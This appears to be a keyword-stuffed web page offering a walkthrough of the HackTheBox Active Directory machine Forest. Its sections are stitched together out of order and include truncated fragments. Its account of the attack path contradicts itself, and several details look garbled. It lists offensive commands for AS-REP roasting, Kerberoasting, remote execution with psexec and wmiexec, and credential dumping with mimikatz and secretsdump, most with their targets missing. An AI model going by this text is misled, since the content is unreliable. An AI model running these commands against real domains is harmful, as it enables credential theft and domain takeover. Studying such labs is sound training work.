Forest Hackthebox Walkthrough Best ((hot))

The Best Forest HackTheBox Walkthrough: A Step-by-Step Active Directory Attack

Forest is one of the most famous and well-crafted Active Directory (AD) machines on HackTheBox. Rated as Easy, it beautifully simulates a real-world misconfiguration: Kerberos pre-authentication brute-forcing and privilege escalation via Account Operators.

If you are searching for the best Forest HackTheBox walkthrough, you have come to the right place. We will cover enumeration, AS-REP roasting, cracking hashes, WinRM access, and finally abusing WriteOwner privileges to compromise the domain.

Machine Info:

IP: 10.10.10.161
OS: Windows Server 2016
Difficulty: Easy
Goal: User.txt & Root.txt

9. Mitigation Recommendations

| Vulnerability | Fix | |---------------|-----| | AS-REP Roasting | Disable "Do not require Kerberos pre-authentication" for all users unless absolutely necessary. | | Weak password | Enforce strong password policy (svc-alfresco's password was weak). | | SeMachineAccountPrivilege for service accounts | Restrict this privilege to only highly trusted accounts. | | GenericWrite over domain | Review ACLs and remove unnecessary write permissions. | | No SPN protection | Monitor for unauthorized SPN modifications. |

Summary

Forest is a beginner-to-intermediate Windows box focused on Active Directory enumeration, credential theft (LSASS), Kerberos/AS-REP/Pass-the-Hash style abuse, and lateral movement to a domain controller. This walkthrough shows a structured, high-level progression from initial foothold to domain compromise with commands and key findings. Do not run any of these steps against systems you do not own or have explicit permission to test. forest hackthebox walkthrough best

Critical Reception

While universally praised, the box is not without critics. Some users find the enumeration phase tedious, particularly if they are unfamiliar with Linux-based Windows enumeration tools. Additionally, because the box relies on a misconfiguration that is easy to spot with automated tools like enum4linux, it is possible to "script-kiddie" your way through the first step without understanding the underlying RPC protocols.

However, these are minor gripes. For a student willing to read the "How" and "Why," Forest is flawless. IP: 10

Where to see this best feature:

IppSec’s YouTube walkthrough (the gold standard) – he visualizes the ACL chain with BloodHound.
Conda’s written walkthrough on Medium – clean step-by-step on Set-DomainObjectOwner and Add-DomainObjectAcl.

1) Recon — discover targets and open ports

Nmap quick scan:
- sudo nmap -sC -sV -p- -oN nmap/full-forest.txt
Notable open services found:
- 53/tcp (DNS)
- 88/tcp (Kerberos)
- 135/tcp (RPC)
- 139/tcp, 445/tcp (SMB)
- 389/tcp (LDAP)
- 3389/tcp (RDP)
- 5722/tcp (Microsoft DCOM) — useful for RPC/SMB related movement

8) Key commands (Impacket / common tools)

nmap:
- sudo nmap -sC -sV -p- -oN nmap/full-forest.txt
enum4linux / smbclient:
- enum4linux -a
- smbclient -L // -N
LDAP / AD:
- ldapdomaindump -u '' -p '' -n -o ldapdump
GetNPUsers (AS-REP):
- GetNPUsers.py -dc-ip -no-pass forest/ -usersfile users.txt
Kerberoast:
- GetUserSPNs.py -dc-ip forest/ -request
Impacket remote exec:
- wmiexec.py forest\user:Pass@
- psexec.py forest\user:Pass@
Secrets / dump:
- mimikatz (interactive)
- secretsdump.py forest/Administrator:Pass@

Why This Is The "Best" Walkthrough